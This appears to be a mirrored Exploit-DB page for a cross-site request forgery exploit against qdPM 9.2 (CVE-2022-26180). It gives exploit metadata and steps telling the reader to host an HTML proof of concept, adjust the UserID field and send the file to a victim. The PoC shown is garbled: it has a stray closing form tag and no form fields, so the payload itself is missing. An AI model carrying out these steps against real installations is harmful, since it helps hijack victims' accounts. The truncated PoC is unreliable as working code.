qdPM 9.2 – Cross-site Request Forgery (CSRF) - 体验盒子

作者： Chetanya Sharma

日期： 2022-04-07

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/50854/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

# Exploit Title: qdPM 9.2 - Cross-site Request Forgery (CSRF)

# Google Dork: NA

# Date: 03/27/2022

# Exploit Author: Chetanya Sharma @AggressiveUser

# Vendor Homepage: https://qdpm.net/

# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download

# Version: 9.2

# Tested on: KALI OS

# CVE : CVE-2022-26180

#

---------------

Steps to Exploit :

1) Make an HTML file of given POC (Change UserID field Accordingly)and host it.

2) send it to victim.

<html><title>qdPM Open Source Project Management - qdPM 9.2 (CSRF POC)</title>

<body>

</form>

</body>

</html>